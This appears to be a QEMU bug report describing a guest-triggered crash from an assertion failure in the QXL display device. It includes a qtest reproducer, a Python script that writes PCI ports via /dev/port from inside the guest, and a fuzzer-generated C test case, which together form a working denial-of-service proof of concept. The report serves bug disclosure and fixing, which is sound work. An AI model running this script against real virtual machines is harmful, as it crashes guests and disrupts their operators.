DoS via assert failure by guest user
Description of problem:
As root in guest VM user can execute special script, which crashes the whole VM with error

```plaintext
hw/display/qxl.c:1594 inside of function void qxl_set_mode(PCIQXLDevice *, unsigned int, int): Assertion `qxl_add_memslot(d, 0, devmem, QXL_SYNC) == 0` failed
```
Steps to reproduce:
1. This bug can be reproduced with:

   ```bash
   cat << EOF | ./build/qemu-system-x86_64 -vga qxl -m 2048 -nodefaults -qtest stdio
   outl 0xcf8 0x8000101c
   outl 0xcfc 0xc000
   outl 0xcf8 0x80001001
   outl 0xcfc 0x01000000
   outl 0xc006 0x00
   EOF
   ```
2. Also, we can execute this python3 script inside guest VM as root (to invoke VM use command: **_qemu-system-x86_64 -vga qxl -hda debian.img -m 2048 -nodefaults_**):

   ```python
   import os
   f = os.open("/dev/port", os.O_RDWR|os.O_NDELAY)
   l = os.lseek(f, 0xcf8, 0)
   os.write(f, b'\x80\x00\x10\x1c')
   l = os.lseek(f, 0xcfc, 0)
   os.write(f, b'\xc0\x00')
   l = os.lseek(f, 0xcf8, 0)
   os.write(f, b'\x80\x00\x10\x01')
   l = os.lseek(f, 0xcfc, 0)
   os.write(f, b'\x01\x00\x00\x00')
   l = os.lseek(f, 0xc006, 0)
   os.write(f, b'\x00')
   ```

   This script causes VM to crash.

   [PoC_qxl-vga_crash.mkv](/uploads/7ee262c20dca69aa9417812f6a93a532/PoC_qxl-vga_crash.mkv)
Additional information:
This issue was found by fuzzing. Here is an auto-generated C source code for a test case that will reproduce the bug.

```plaintext
/*
 * Autogenerated Fuzzer Test Case
 *
 * Copyright (c) 2023 Artem Nasonov <anasonov@astralinux.ru>
 *
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
 * See the COPYING file in the top-level directory.
 */

#include "qemu/osdep.h"

#include "libqtest.h"

/*
 * cat << EOF | qemu-system-x86_64 -vga qxl -hda \
 * ~/Downloads/virtualdebian.img -m 2048 -nodefaults -qtest stdio
 * outl 0xcf8 0x8000101c
 * outl 0xcfc 0xc000
 * outl 0xcf8 0x80001001
 * outl 0xcfc 0x01000000
 * outl 0xc006 0x00
 * EOF
*/
static void test_qxl_set_mode(void)
{
QTestState *s = qtest_init("-vga qxl -m 2048 -nodefaults");
qtest_outl(s, 0xcf8, 0x8000101c);
qtest_outl(s, 0xcfc, 0xc000);
qtest_outl(s, 0xcf8, 0x80001001);
qtest_outl(s, 0xcfc, 0x01000000);
qtest_outl(s, 0xc006, 0x00);
qtest_quit(s);
}int main(int argc, char **argv)
{
    const char *arch = qtest_get_arch();

    g_test_init(&argc, &argv, NULL);

   if (strcmp(arch, "x86_64") == 0) {
        qtest_add_func("fuzz/test_qxl_set_mode",test_qxl_set_mode);
   }

   return g_test_run();
}
```